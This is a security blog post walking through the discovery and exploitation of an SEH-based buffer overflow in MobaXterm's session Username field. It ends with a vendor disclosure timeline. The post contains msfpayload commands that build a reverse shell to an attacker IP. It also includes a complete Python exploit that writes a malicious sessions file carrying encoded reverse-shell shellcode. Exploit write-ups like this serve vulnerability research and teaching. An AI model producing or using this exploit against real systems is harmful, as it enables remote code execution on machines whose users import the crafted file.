In this blog post I will talk about the exploitation of a vulnerability that I discovered on August of 2019 in MobaXterm application.
MobaXterm is a well known remote administration tool, that is used in many companies or in personal environments. It has many options and it’s really useful for managing several servers. Personally I’ve been using it since 4 o 5 years ago.
The vulnerability that I detected is a SEH based Buffer Overflow. Below is a video demonstration of exploitation for proof of concept where we get a reverse shell through an import of a malicious MobaXterm sessions file:
As i said in previous blog posts, the purpose of this blog is to share a bit of knowledge with the hacking community so I’m going to explain step by step how I detected the vulnerability and how I developed the exploit.
One day I decided to play a bit with Moba, and I found that the application does not sanitize correctly the input of the parameter “Specify Username”.
If you put in that variable a buffer with at least 17000 A’s the application is going to crash overwriting some registers that can allow an attacker to gain control of the execution flow of the program.
The remote host must exist, and it has to have the port what we want to connect open. During the exploitation process of this vulnerability, the host with the IP 192.168.1.88 had a SSH running service in the port 22.
Said that, let’s start. First of all I start the SSH service of my Kali Linux and I create a new SSH session in Moba with the correct IP address of my Kali and the port 22.
I put 20000 A’s in the Username field and I double click in the session. The result is a crash in the application . We can see this in Olly:
We let the exception occurs and this is how our registers looks like, we have control of EIP.
And at this point, the top of the stack looks like this:
So it seems a standard BOF SEH based exploitation, we need to find a POP-POP-RET instruction, but we are limited to the ASCII printable characters. We can find them here:
Basically we can use from \x32 to \xFF. I do a quick check to identify more bad characters and I also found \xA0.
I run SafeSEH plugin of Olly to check if there is any dll or the program itself compiled without SafeSEH.
The result is the following, everything is compiled with SafeSEH except our binary:
So, I can’t use any POP-POP-RET addresses of the modules that have SafeSEH protection and also I can’t use the modules that have No SEH neither.
It leads in the conclusion(partially true, we will see it later) that I can only use the addresses of the MobaXterm binary. But here I face another problem, all the memory directions of MobaXterm.exe starts with a null byte:
I can’t use them neither. At this point, I thought that it was going to be difficult, but I still had some options.
The first one, look for a EIP overwrite instead of a SEH overwrite. I started modifying the buffer length, the injection point, but I couldn’t get a direct EIP overwrite, damn!
The second idea that I had was to do a partial overwrite of SEH, and it worked, the application crashed but instead of overwriting the first byte of SEH with a \x00 it overwrites it with a \x20…
The third idea that I got from reading a really interesting Corelan tutorial is to look for similar instructions outside the loaded modules. This is a good approach to bypass the SafeSEH memory protection.
I also would like to share with you a useful blog post, that speaks about this topic:
To try that, I used this Mona command:
And these are the results:
So these address can cover my needs, but, all of them start with the byte 06 and that is a non printable ASCII character. At this point I was a bit lost, I tried some crazy ideas, like use unicode characters, but they are converted to the value \x3F.
I’m going to read more about this topic, and I will try to bypass the SafeSEH in the future but right now SafeSEH defeated me haha 🙂
So, what I did, is read about SafeSEH, and I saw in Wikipedia, that was implemented in Windows XP SP2, so I download a Windows XP SP1 and I installed MobaXterm. When we scan the modules with Olly SafeSEH plugin. The overview is completely different:
Without SafeSEH everything was easier. I’ve found a POP-POP-RET ASCII printable instruction that is in crypt32.dll:
I add it to the exploit. And it’s working, we reached the desired POP-POP-RET instruction:
We let the three instructions occur, and we are going to be in a 4 bytes space that belong to NSEH:
I need to do a small jump, but as you see in the image above I’m not doing a normal EB jump, when I use EB there, the characters are getting mangled.
For that reason I had to do a conditional Jump that I learnt while studying OSCE certification, basically we decrease two times ESP and after we do a conditional jump below.
# Here we need to jump forward but EB is a bad char # We decrease ESP and use a conditional jump after # Learn this trick in OSCE. Thank you Muts!!! :) nseh = "" nseh += "\x4C" # DEC ESP nseh += "\x4C" # DEC ESP nseh += "\x77\x21" # JA SHORT 1035FE59
We take the jump and we are going to be at this new spot:
As you can see, we jumped above some bytes, and we are a in a new spot where I execute two increment ESP instructions to recover the stack original state, remember that before we decreased the stack two times to be able to take the conditional jump.
Without increasing two times the stack, the exploit won’t work. This is probably related with stack alignment problems.
After these instructions, we reach our final shellcode that is encoded with Alpha2. Here are the commands that I used to generate the shellcode:
/usr/share/framework2/msfpayload win32_reverse LHOST=192.168.1.88 LPORT=443 R > reverse_tcp /usr/share/framework2/msfencode -e Alpha2 -i reverse_tcp -t perl > encoded_rev_shell
At this point the exploit is completed. We execute it, import the sesssions and double click in the session… And here is our shell 🙂
Here is another video of the BOF execution:
And finally, here is the complete exploit:
#!/usr/bin/env python # Author: Xavi Beltran # Date: 31/8/2019 # Site: xavibel.com # Description: # SEH based Buffer Overflow in the Username of a valid session # This exploit generates a malicious MobaXterm sessions file # When the user double clicks in the session the shellcode is going to be executed # This is not the IP address of the reverse shell # To be able to exploit the BOF you need to have a real machine with an open port that the target machine can reach ip_address = "192.168.1.88" port = "22" # We are going to recreate a MobaXterm sessions file export print ("[+] Creating the malicious MobaXterm file...") sessions_file = "" sessions_file += "[Bookmarks]\n" sessions_file += "SubRep=\n" sessions_file += "ImgNum=42\n" sessions_file += "pwnd=#109#0%" + ip_address + "%" + port + "%" # Here is the SEH Based Buffer Overflow part # [*] Exact match at offset 16672 # We have to substract 4 that corresponds to NSEH junk1 = "A" * 16668 # Here we need to jump forward but EB is a bad char # We decrease ESP and use a conditional jump after # Thank you Muts!!! :) nseh = "" nseh += "\x4C" # DEC ESP nseh += "\x4C" # DEC ESP nseh += "\x77\x21" # JA SHORT 1035FE59 # Using a XP-SP1 so modules are compiled without SafeSEH # !mona seh -cp asciiprint # 0x762C5042 POP-POP-RET seh = "\x42\x50\x2C\x76" # Some padding that we are going to jump over it junk2 = "\x42" * 29 # We recover the initial state of the stack alignment = "" alignment += "\x44" # INC ESP alignment += "\x44" # INC ESP # And we reach our shellcode # A0 is a badchar but the generated encoded shellcode won't use it # /usr/share/framework2/msfpayload win32_reverse LHOST=192.168.1.88 LPORT=443 R > reverse_tcp # /usr/share/framework2/msfencode -e Alpha2 -i reverse_tcp -t perl > encoded_rev_shell # Shellcode 636 bytes shellcode = "" shellcode += "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x48\x49\x49" shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x63" shellcode += "\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x73\x41\x32\x41\x41\x32" shellcode += "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x4b\x59\x6b\x4c\x71" shellcode += "\x7a\x5a\x4b\x30\x4d\x79\x78\x4c\x39\x4b\x4f\x79\x6f\x6b\x4f\x33" shellcode += "\x50\x6c\x4b\x62\x4c\x56\x44\x77\x54\x6e\x6b\x50\x45\x55\x6c\x6e" shellcode += "\x6b\x51\x6c\x55\x55\x54\x38\x57\x71\x5a\x4f\x4e\x6b\x52\x6f\x37" shellcode += "\x68\x6e\x6b\x53\x6f\x51\x30\x36\x61\x38\x6b\x70\x49\x4e\x6b\x70" shellcode += "\x34\x6e\x6b\x65\x51\x58\x6e\x47\x41\x6f\x30\x6c\x59\x4e\x4c\x4e" shellcode += "\x64\x6f\x30\x53\x44\x36\x67\x5a\x61\x39\x5a\x64\x4d\x53\x31\x49" shellcode += "\x52\x4a\x4b\x6b\x44\x67\x4b\x33\x64\x66\x44\x34\x68\x41\x65\x6b" shellcode += "\x55\x4e\x6b\x73\x6f\x54\x64\x65\x51\x58\x6b\x73\x56\x6e\x6b\x54" shellcode += "\x4c\x70\x4b\x6e\x6b\x31\x4f\x77\x6c\x33\x31\x48\x6b\x47\x73\x46" shellcode += "\x4c\x6c\x4b\x6e\x69\x70\x6c\x55\x74\x37\x6c\x73\x51\x6f\x33\x35" shellcode += "\x61\x4b\x6b\x62\x44\x4e\x6b\x57\x33\x36\x50\x6e\x6b\x41\x50\x76" shellcode += "\x6c\x6c\x4b\x34\x30\x67\x6c\x4c\x6d\x4c\x4b\x33\x70\x43\x38\x61" shellcode += "\x4e\x32\x48\x6c\x4e\x62\x6e\x34\x4e\x4a\x4c\x56\x30\x79\x6f\x58" shellcode += "\x56\x62\x46\x51\x43\x52\x46\x70\x68\x44\x73\x45\x62\x75\x38\x42" shellcode += "\x57\x32\x53\x75\x62\x31\x4f\x50\x54\x4b\x4f\x78\x50\x72\x48\x68" shellcode += "\x4b\x5a\x4d\x6b\x4c\x45\x6b\x70\x50\x39\x6f\x6b\x66\x43\x6f\x6e" shellcode += "\x69\x48\x65\x41\x76\x4f\x71\x48\x6d\x76\x68\x45\x52\x53\x65\x50" shellcode += "\x6a\x33\x32\x4b\x4f\x6e\x30\x31\x78\x4b\x69\x73\x39\x6c\x35\x6e" shellcode += "\x4d\x43\x67\x6b\x4f\x6e\x36\x50\x53\x41\x43\x46\x33\x51\x43\x30" shellcode += "\x43\x36\x33\x57\x33\x42\x73\x49\x6f\x7a\x70\x70\x68\x49\x50\x6d" shellcode += "\x78\x46\x61\x33\x68\x35\x36\x73\x58\x43\x31\x6d\x6b\x62\x46\x56" shellcode += "\x33\x4e\x69\x69\x71\x5a\x35\x51\x78\x7a\x4c\x4c\x39\x4e\x4a\x31" shellcode += "\x70\x36\x37\x49\x6f\x59\x46\x50\x6a\x52\x30\x70\x51\x31\x45\x6b" shellcode += "\x4f\x5a\x70\x71\x76\x72\x4a\x62\x44\x53\x56\x73\x58\x42\x43\x50" shellcode += "\x6d\x41\x7a\x32\x70\x42\x79\x51\x39\x38\x4c\x4c\x49\x69\x77\x71" shellcode += "\x7a\x41\x54\x4c\x49\x6a\x42\x70\x31\x4b\x70\x4b\x43\x6f\x5a\x4d" shellcode += "\x45\x4e\x69\x69\x6d\x39\x6e\x30\x42\x46\x4d\x59\x6e\x53\x72\x74" shellcode += "\x6c\x4c\x4d\x73\x4a\x70\x38\x4e\x4b\x4c\x6b\x4e\x4b\x31\x78\x71" shellcode += "\x62\x6b\x4e\x4e\x53\x76\x76\x79\x6f\x62\x55\x76\x48\x59\x6f\x4e" shellcode += "\x36\x53\x6b\x70\x57\x71\x42\x53\x61\x66\x31\x32\x71\x72\x4a\x34" shellcode += "\x41\x56\x31\x73\x61\x70\x55\x53\x61\x59\x6f\x7a\x70\x32\x48\x6c" shellcode += "\x6d\x38\x59\x73\x35\x58\x4e\x41\x43\x49\x6f\x6a\x76\x43\x5a\x69" shellcode += "\x6f\x6b\x4f\x30\x37\x59\x6f\x5a\x70\x73\x58\x6b\x57\x42\x59\x78" shellcode += "\x46\x70\x79\x49\x6f\x73\x45\x64\x44\x59\x6f\x7a\x76\x69\x6f\x43" shellcode += "\x47\x39\x6c\x39\x6f\x6e\x30\x45\x38\x6a\x50\x4f\x7a\x46\x64\x61" shellcode += "\x4f\x72\x73\x6b\x4f\x58\x56\x39\x6f\x78\x50\x63" crash = junk1 + nseh + seh + junk2 + alignment + shellcode # We need to mantain the MobaXterm sessions file structure sessions_file += crash sessions_file += "%%-1%-1%%%22%%0%0%0%%%-1%0%0%0%%1080%%0%0%1#MobaFont%10%0%0%0%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1" # Finally we generate the file f = open( 'pwnd.mxtsessions', 'w' ) f.write(sessions_file) f.close() print ("[+] Malicious file created.") print ("[+] Import the sessions in MobaXterm and wait for the reverse shell! :)")
You can find it also in Exploit-DB:
And that’s all for this blog entry, I hope you liked it!
- 01/09/2019 – Reported vulnerability to Mobatek
- 02/09/2019 – Update from Mobatek that security fix would beadded in the version 12.2
- 17/09/2019 – Mobatek published the version 12.2 that fixed the vulnerability